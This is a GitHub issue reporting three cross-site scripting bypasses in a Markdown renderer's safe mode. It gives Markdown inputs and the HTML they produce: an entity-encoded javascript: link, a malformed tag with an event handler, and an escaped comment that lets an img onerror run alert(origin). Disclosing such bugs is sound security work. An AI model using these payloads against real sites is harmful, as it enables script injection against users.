XSS's in safe mode #721

Description

@JorianWoltjer

Describe the bug

A few more XSS vulnerabilities in the safe mode, continuation of #705.

To Reproduce

  1. The browser decodes &#58 to : forming a javascript: protocol URL (the ; suffix for html encoding is optional).
[Click me](javascript&#58alert(origin))
<p><a href="javascript&#58alert(origin)">x</a></p>
  1. Creates a corrupted <x| tag with arbitrary attributes:
<http:|><x| oncontentvisibilityautostatechange=alert(origin) style=display:block;content-visibility:auto>
<p><a href="http:|">http:|</a><x| oncontentvisibilityautostatechange=alert(origin) style=display:block;content-visibility:auto></p>
  1. Backslash with comment allows writing arbitrary HTML:
\<!--<img src onerror=alert(origin)//>-->
<p>&lt;!--<img src onerror=alert(origin)//>--></p>

Expected behavior

Safe HTML is output.
